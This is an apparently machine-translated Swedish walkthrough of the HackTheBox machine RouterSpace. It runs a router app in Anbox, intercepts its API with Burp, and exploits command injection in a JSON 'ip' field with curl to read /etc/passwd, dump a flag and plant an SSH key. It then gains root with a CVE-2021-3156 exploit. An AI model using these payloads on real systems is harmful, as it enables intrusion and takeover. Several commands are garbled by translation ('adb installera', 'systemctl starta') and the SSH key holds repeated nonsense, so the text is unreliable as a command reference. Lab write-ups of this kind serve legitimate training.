Publicerad i · 11 min läst · 9 juli 2022
--
Visar dig alla verktyg och tekniker som behövs för att slutföra rutan.
RouterSpaceär en lätt nivå maskin avh4rithdpåHackTheBox. Den här Linux-boxen fokuserar på webbapp- och OS-uppräkning och att använda SQLMap för att dumpa data.
Vi börjar med en apk som finns på den första webbplatsen. Vi använder Anbox på Kali för att emulera en Android-enhet så att vi kan interagera med apk:n när den körs. Burp hjälper oss att hitta en adress och en proxy som låter oss interagera med appen. Vi hittar ett sätt att få fjärrkörning av kod, vilket låter oss få ssh-åtkomst till rutan och sedan använder vi Baron Samedit (CVE2021–3156) exploateringen för att få root.
Låt oss som alltid börja med Nmap:
┌──(root㉿kali)-[~/htb/routerspace]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.148 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)┌──(root㉿kali)-[~/htb/routerspace]
└─# nmap -p$ports -sC -sV -oA routerspace 10.10.11.148
Startar Nmap 7.92 ( https://nmap.org ) 2022-04-13 17:03 EDT
Nmap scan rapport för 10.10.11.148
Värden är uppe (0,11s latens).
PORT STATE SERVICE VERSION
22/tcp öppen ssh (protokoll 2.0)
| fingeravtryckssträngar:
| NULL:
|_ SSH-2.0-RouterSpace-paketfiltrering V1
| ssh-värdnyckel:
| 3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA)
| 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
|_256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
80/tcp öppna http
| fingeravtryckssträngar:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-58343
| Content-Type: text/html; charset=utf-8
| Innehållslängd: 70
| ETag: W/"46-Qhj36TEqDHhoIimlameRlpAHdCU"
| Datum: ons 13 april 2022 21:03:50 GMT
| Anslutning: stäng
| Misstänkt aktivitet upptäckt!!!
| GetRequest:
| HTTP/1.1 200 OK
| X-Powered-By: RouterSpace
| X-Cdn: RouterSpace-3904
| Acceptera-intervall: byte
| Cache-kontroll: offentlig, max-age=0
| Senast ändrad: mån, 22 november 2021 11:33:57 GMT
| ETag: W/"652c-17d476c9285"
| Content-Type: text/html; charset=UTF-8
| Innehållslängd: 25900
| Datum: ons 13 april 2022 21:03:49 GMT
| Anslutning: stäng
| RTSPRequest, X11Probe:
| HTTP/1.1 400 Felaktig begäran
|_ Anslutning: stäng
|_http-titel: RouterSpace
|_http-trane-info: Problem med XML-tolkning av /evox/about
Servicedetektering utförd. Rapportera eventuella felaktiga resultat på https://nmap.org/submit/ .
Nmap klar: 1 IP-adress (1 värd upp) skannad på 22,20 sekunder
Vi hittar bara två portar öppna, 22 (SSH) är förmodligen för senare, så för tillfället är det bara port 80. Låt oss ta en titt:
Det är en statisk webbplats som inte har något att göra. Bara en länk för att ladda ner en apk, låt oss ta den:
┌──(root㉿kali)-[~/htb/routerspace]
└─# wget http://10.10.11.148/RouterSpace.apk
--2022-04-13 17:14:19-- http://10.10.11.148/RouterSpace.apk
Ansluter till 10.10.11.148:80... ansluten.
HTTP-begäran har skickats, väntar på svar... 200 OK
Längd: 35855082 (34M) [application/vnd.android.package-archive]
Sparar till: 'RouterSpace.apk'
RouterSpace.apk 100 %[==================>] 34,19M 1,78MB/s på 22s2022-04-13 17:14:41 (1,53 MB/s) - "RouterSpace.apk" sparad [35855082/35855082]
Vi har en Android-applikationsfil (apk), nu behöver vi ett sätt att köra den. För att göra det finns det några alternativ men för enkelhetens skull kan vi använda Anbox som finns i Kali repo.
Första kontrollera att lxc är installerad och uppdaterad:
┌──(root㉿kali)-[~]
└─# apt-get install lxc
Läser paketlistor... Klart
Bygger ett beroendeträd... Klart
Läser tillståndsinformation... Klart
Följande ytterligare paket kommer att installeras:
arch-test bridge-utils busybox-statisk moln-image-utils debootstrap distro-info fakechroot
gcc-12-base genisoimage ibverbs-providers libboost-iostreams1.74.0 libboost-thread1.74.0
1 uppgraderad, 35 nyinstallerad, 1 att ta bort och 826 inte uppgraderad.
Behöver skaffa 26,9 MB arkiv.
Efter denna operation kommer 81,1 MB extra diskutrymme att användas.
Vill du fortsätta? [Y/n] y
Skaffa:1 http://http.kali.org/kali kali-rolling/main amd64 busybox-static amd64 1:1.30.1-7+b2 [896 kB]
Skaffa:2 http://http.kali.org/kali kali-rolling/main amd64 uuid-runtime amd64 2.37.3-1+b1 [104 kB]
Skaffa:3 http://kali.download/kali kali-rolling/main amd64 gcc-12-base amd64 12-20220319-1 [206 kB]
Skaffa:4 http://http.kali.org/kali kali-rolling/main amd64 libstdc++6 amd64 12-20220319-1 [617 kB]
Hämtade 26,9 MB på 5 s (5 944 kB/s)
Extrahera mallar från paket: 100 %
Förkonfigurerar paket ...
dpkg: busybox: beroendeproblem, men tar bort ändå som du begärde:
cryptsetup-initramfs beror på busybox | busybox-statisk; dock:
Paket busybox ska tas bort.
Paket busybox-static är inte installerat.
Packar upp lxc-mallar (3.0.4-5) ...
Att välja tidigare omarkerat paket lxcfs.
Förbereder uppackning .../28-lxcfs_5.0.0-1_amd64.deb ...
Packar upp lxcfs (5.0.0-1) ...
Gjort.
Konfigurera qemu-utils (1:6.2+dfsg-2) ...
Ställer in arch-test (0.18-1) ...
Konfigurera libgfxdr0:amd64 (10.1-1+b1) ...
update-initramfs: Genererar /boot/initrd.img-5.15.0-kali3-amd64
Bearbetar utlösare för libc-bin (2.33-1) ...
Bearbetar utlösare för man-db (2.9.4-4) ...
Bearbetar triggers för kali-menu (2021.4.2) ...
Det är en lång installation så jag har klippt bort det mesta. Med lxc sorterad låt oss installera anbox:
┌──(root㉿kali)-[~]
└─# apt-get install anbox
Läser paketlistor... Klart
Bygger ett beroendeträd... Klart
Läser tillståndsinformation... Klart
Följande ytterligare paket kommer att installeras:
libboost-filsystem1.74.0 libboost-log1.74.0 libboost-program-options1.74.0 libboost-regex1.74.0 libgles2 libprotobuf-lite23 libsdbus-c++1 libsdl2-image-2.0-0 libwebp7
Följande NYA paket kommer att installeras:
anbox libboost-filsystem1.74.0 libboost-log1.74.0 libboost-program-options1.74.0 libboost-regex1.74.0 libgles2 libprotobuf-lite23 libsdbus-c++1 libsdl2-image-2.0-0 libwebp7
0 uppgraderad, 10 nyinstallerade, 0 att ta bort och 826 inte uppgraderad.
Behöver skaffa 3 183 kB arkiv.
Efter denna operation kommer 16,2 MB extra diskutrymme att användas.
Vill du fortsätta? [Y/n] y
Skaffa:1 http://kali.download/kali kali-rolling/main amd64 libgles2 amd64 1.4.0-1 [18.2 kB]
Få:10 http://http.kali.org/kali kali-rolling/contrib amd64 anbox amd64 0.0~git20211020-2 [754 kB]
Hämtade 3 183 kB på 1 s (2 149 kB/s)
Konfigurerar anbox (0.0~git20211020-2) ...
Skapat symbollänk /etc/systemd/user/default.target.wants/anbox-session-manager.service → /usr/lib/systemd/user/anbox-session-manager.service.
Bearbetar triggers för kali-menu (2021.4.2) ...
Bearbetar utlösare för desktop-file-utils (0.26-1) ...
Bearbetar utlösare för libc-bin (2.33-1) ...
Bearbetar utlösare för man-db (2.9.4-4) ...
Bearbetar utlösare för mailcap (3,70+nmu1) ...
Nu måste vi ladda ner en Android-bild:
┌──(root㉿kali)-[~]
└─# wget https://build.anbox.io/android-images/2018/07/19/android_amd64.img
--2022-04-12 17:38:09-- https://build.anbox.io/android-images/2018/07/19/android_amd64.img
Löser build.anbox.io (build.anbox.io)... 163.172.154.175
Ansluter till build.anbox.io (build.anbox.io)|163.172.154.175|:443... ansluten.
HTTP-begäran har skickats, väntar på svar... 200 OK
Längd: 325902336 (311M)
Sparar till: 'android_amd64.img'
android_amd64.img 100 %[===============>] 310,80 M 25,3 MB/s på 20s
2022-04-12 17:38:29 (15,5 MB/s) - "android_amd64.img" sparad [325902336/325902336]
Detta måste flyttas till anbox-mappen:
┌──(root㉿kali)-[~]
└─# mv android_amd64.img /var/lib/anbox/android.img
Slutligen måste vi starta anbox-containertjänsten:
┌──(root㉿kali)-[~]
└─# systemctl starta anbox-container-manager.service
Byt till skrivbordet så hittar du Anbox i applikationsmenyn. Klicka på den för att öppna programhanteraren:
Med det igång kan vi nu installera vår apk-fil:
┌──(root㉿kali)-[~/htb/routerspace]
└─# adb installera RouterSpace.apk
Kommandot 'adb' hittades inte, men kan installeras med:
apt installera adb
Vill du installera den? (N/å)å
apt installera adb
Läser paketlistor... Klart
Bygger ett beroendeträd... Klart
Läser tillståndsinformation... Klart
Följande ytterligare paket kommer att installeras:
android-sdk-plattformsverktyg-vanligt
Följande NYA paket kommer att installeras:
adb android-sdk-plattformsverktyg-vanligt
0 uppgraderat, 2 nyinstallerade, 0 att ta bort och 826 inte uppgraderat.
Behöver skaffa 608 kB arkiv.
Efter denna operation kommer 1 835 kB extra diskutrymme att användas.
Vill du fortsätta? [Y/n] y
Skaffa:1 http://kali.download/kali kali-rolling/main amd64 adb amd64 1:29.0.6-6 [599 kB]
Skaffa:2 http://http.kali.org/kali kali-rolling/main amd64 android-sdk-platform-tools-common all 28.0.2+7 [8 276 B]
Hämtade 608 kB på 1 s (968 kB/s)
Väljer tidigare omarkerat paket adb.
Förbereder uppackning .../adb_1%3a29.0.6-6_amd64.deb ...
Packar upp adb (1:29.0.6-6) ...
Förbereder uppackning .../android-sdk-platform-tools-common_28.0.2+7_all.deb ...
Packar upp android-sdk-platform-tools-common (28.0.2+7) ...
Konfigurera android-sdk-platform-tools-common (28.0.2+7) ...
Konfigurerar adb (1:29.0.6-6) ...
Bearbetar utlösare för man-db (2.9.4-4) ...
Bearbetar triggers för kali-menu (2021.4.2) ...
Adb och de andra verktygen som behövs installeras. Nu är de där, vi kan försöka igen:
┌──(root㉿kali)-[~/htb/routerspace]
└─# adb installera RouterSpace.apk
* demon körs inte; börjar nu på tcp:5037
* daemon startade framgångsrikt
fel: enhet offline
Utför Push Install
adb: fel: kunde inte hämta funktionsuppsättning: enhet offline
Första gången vi får ett felmeddelande eftersom demonen inte körs. Det startar automatiskt, så kör bara kommandot igen:
┌──(root㉿kali)-[~/htb/routerspace]
└─# adb installera RouterSpace.apk
Utför streamad installation
Framgång
Den här gången fungerar det och när vi tittar tillbaka på Anbox ser vi att vår app har dykt upp:
När vi kör appen kommer vi till denna sida:
Om du klickar på knappen Kontrollera status får vi ett felmeddelande:
Vi kan inte se var appen försöker komma till, och det finns inget sätt att ställa in en proxy på Anbox, men en snabb sökning hittadesdettasom visar oss hur man gör det från kommandoraden med adb. För att aktivera gör vi bara så här:
adb-skalinställningar sätter global http_proxy :
Om vi ställer in add http_proxy att peka på Burp kan vi fånga trafik som kommer från RouterSpace-appen:
┌──(root㉿kali)-[~/htb/routerspace]
└─# adb-skalinställningar sätt global http_proxy 10.10.14.124:4444
Starta nu Burp och gå till fliken Alternativ i Proxy-sektionerna:
Lägg till en ny Proxy Listener och bind den till vår tun0-adress med samma port som vi ställt in ovan för adb http_proxy:
Det ska se ut så här när det läggs till:
Gå tillbaka till RouterSpace-appen och klicka på Kontrollera status igen, tillbaka till Burp för att se att den avlyssnade begäran:
Vi kan skicka till repeater för att spela med det:
Med slutpunkten hittad behöver vi nu inte Anbox och kan fortsätta att utforska utan den. Jag föredrar att använda kommandoraden så att vi kan använda curl istället för Burp:
┌──(root㉿kali)-[~/htb/routerspace]
└─# curl -s -H 'user-agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data-binary $'{\"ip\":\"0.0.0.0\"}' http ://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess"0.0.0.0\n"
Efter att ha lekt runt hittade jag att vi kan använda en ; efter 0.0.0.0 för att köra ett kommando som vi väljer. Här visar jag passwd-filen och använder sed/cut för att få den att visas snyggt:
┌──(root㉿kali)-[~/htb/routerspace]
└─# curl -s -H 'user-agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data-binary $'{\"ip\":\"0.0.0.0;cat /etc/ passwd\"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess > /dev/null | sed 's/\\n/\n/g' | cut -d '"' -f 2 | sed -n '1!p' | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
paul:x:1001:1001:,,,:/home/paul:/bin/bash
Bara Paul och root kan logga in. Låt oss titta i Pauls hemmapp:
┌──(root㉿kali)-[~/htb/routerspace]
└─# curl -s -H 'user-agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data-binary $'{\"ip\":\"0.0.0.0;ls -lsa / home/paul\"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess > /dev/null | sed 's/\\n/\n/g' | cut -d '"' -f 2 | sed -n '1!p'
totalt 48
4 drwxr-xr-x 8 paul paul 4096 17 feb 18:30 .
4 drwxr-xr-x 3 root root 4096 17 feb 18:30 ..
0 lrwxrwxrwx 1 rotrot 9 nov 20 19:32 .bash_history -> /dev/null
4 -rw-r--r-- 1 paul paul 220 nov 20 17:32 .bash_logout
4 -rw-r--r-- 1 paul paul 3771 20 nov 17:32 .bashrc
4 drwx------ 2 paul paul 4096 17 feb 18:30 .cache
4 drwx------ 3 paul paul 4096 19 apr 20:01 .gnupg
4 drwxrwxr-x 3 paul paul 4096 17 feb 18:30 .local
4 drwxrwxr-x 5 paul paul 4096 19 april 17:24 .pm2
4 -rw-r--r-- 1 paul paul 823 20 nov 18:30 .profile
4 drwxr-xr-x 3 paul paul 4096 17 feb 18:30 snap
4 drwx------ 2 paul paul 4096 19 april 19:46 .ssh
4 -r--r----- 1 root paul 33 apr 19 17:25 user.txt
Vi kan ta tag i användarflaggan:
┌──(root㉿kali)-[~/htb/routerspace]
└─# curl -s -H 'user-agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data-binary $'{\"ip\":\"0.0.0.0;cat /home/ paul/user.txt\"}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess > /dev/null | sed 's/\\n/\n/g' | cut -d '"' -f 2 | sed -n '1!p'
1883f666c7b2ac1683e666225a372ce7
Dags för ett omvänt skal. Vi kan göra samma sak som vi gjorde påHorisontell. Generera först ett ssh-nyckelpar:
┌──(root㉿kali)-[~/htb/routerspace]
└─# ssh-keygen
Genererar offentligt/privat rsa-nyckelpar.
Ange fil där nyckeln ska sparas (/root/.ssh/id_rsa): /root/htb/routerspace/id_rsa
Ange lösenfras (tom för ingen lösenfras):
Ange samma lösenfras igen:
Din identifiering har sparats i /root/htb/routerspace/id_rsa
Din publika nyckel har sparats i /root/htb/routerspace/id_rsa.pub
Nyckelfingeravtrycket är:
SHA256:Z+wQ9wrHt+p7f6aOv/tAol77FCQ36P28umPKNnhPu24 root@kali
Den slumpmässiga nycklarbilden är:
+---[RSA 3072]----+
| |
| . |
| . . o + |
| = o = . |
| S * = + |
| B + + + |
| = o.o o|
| o.*oE..+|
| .B=X%&O.|
+----[SHA256]-----+
Nu kan vi upprepa det i en auktoriserad_keys-fil på lådan:
┌──(root㉿kali)-[~/htb/routerspace]
└─# curl -s -H 'user-agent: RouterSpaceAgent' -H 'Content-Type: application/json' --data-binary $'{\"ip\":\"0.0.0.0;echo 'ssh- rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4jyNVMJ963UsvyDfhRCXbXMcVS4Psrhcm1Yf9VlDlip5DiuiMuZc/ODFLLGrEpq8xyVTVX1/nXD7yjXRl6DjlNqfnHwPvncvnfwnfwpvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnwfvnfwfwnfwnfwnfw W3DNDJ4ZX0NRbwfsVxGCM15DnKC6Qx85S5I+S15M3pzh4+wf5o59ebRWrHVgWAUTkJ2ktM+zb/5m18Sjpafe/JC6TKOEGZcwjeE0l3+jsVhFEEPhLchvchvchvhvhvhvhvvhvhvhvhvhvhvhvhvhvhvhvhvhvhvhvhvhvhvhvvhvhvvhvhvvhvhvvhvvvhvvh 3wF8ln5yNTBUhHaReY8UV5hPESHsw1jTPfgFvLt2/J0bX35bpt9qbKpVxKv58t7+phG/OSy7i7MLZSLjToFvxCiBBCnY0kUo1Qn1E10TdeAhYgAy/biPUWYgAy/BiPuWYgAy6GaY6GaY6GaY6GaY600000000000007 SaX9Yn9ukOiSVkjEMlwI1ULrrcIPNbIRxfj8iL2xYqU6BLspFqrO5PKabeIWBmJlWqKs1esCJQQ6RX8im5kEr/LW61fIvSjkUvDcb0IaC0Z8Y/s= /root_short/key/key/key/root/root/key/key/ "}' http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
Ändra behörigheter på vår privata nyckel på Kali:
┌──(root㉿kali)-[~/htb/routerspace]
└─#chmod 600 id_rsa
Nu kan vi logga in som Paul:
┌──(root㉿kali)-[~/htb/routerspace]
└─# ssh -i id_rsa paul@routerspace.htb
Välkommen till Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86_64)Systeminformation från och med tis 19 april 2022 21:00:51 UTC
Systembelastning: 0,0 Processer: 206
Användning av /: 71.0% av 3.49GB Användare inloggade: 1
Minnesanvändning: 31 % IPv4-adress för eth0: 10.10.11.148
Bytsanvändning: 0 %
Senaste inloggning: Tis 19 april 20:59:32 2022 från 10.10.14.124
paul@routerspace:~$
Eskalering till root är trevligt och enkelt på denna box. Om du kopierarLinPEASöver dess utdata kommer att visa dig att den här rutan har en version av sudo som är sårbar för CVE-2021–3156. Även känd som Baron Samedit, lite infohärom du är intresserad.
Vi kan kontrollera den installerade versionen:
paul@routerspace:~$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers fil grammatik version 46
Sudoers I/O-plugin version 1.8.31
Den versionen är verkligen sårbar. Jag tittade på GitHub och hittadedettautnyttja. Jag har bara kopierat/klistrat in det i en fil på lådan:
paul@routerspace:~$ cat exploit.py
#!/usr/bin/python3
Utnyttja för CVE-2021-3156 med overwrite struct service_user av sleepyaDetta utnyttjande kräver:
- glibc med tcache
- nscd-tjänsten körs inte
Testad på:
- Ubuntu 18.04
Körde sedan den för att få root och flaggan:
paul@routerspace:~$ python3 exploit.py
# id
uid=0(root) gid=0(root) groups=0(root),1001(paul)# cat /root/root.txt
c97714e03098f4ef64378114f235078a
Det tog mig lång tid att få Anbox att fungera av någon anledning, men efter det var lådan ganska enkel.
Hoppas du lärde dig något, vi ses nästa gång.
Om du gillade den här artikeln vänligen lämna mig ett klapp eller två (det är gratis!)
Twitter -https://twitter.com/pencer_io
Hemsida -https://pencer.io
Ursprungligen publicerad klhttps://pencer.ioden 9 juli 2022.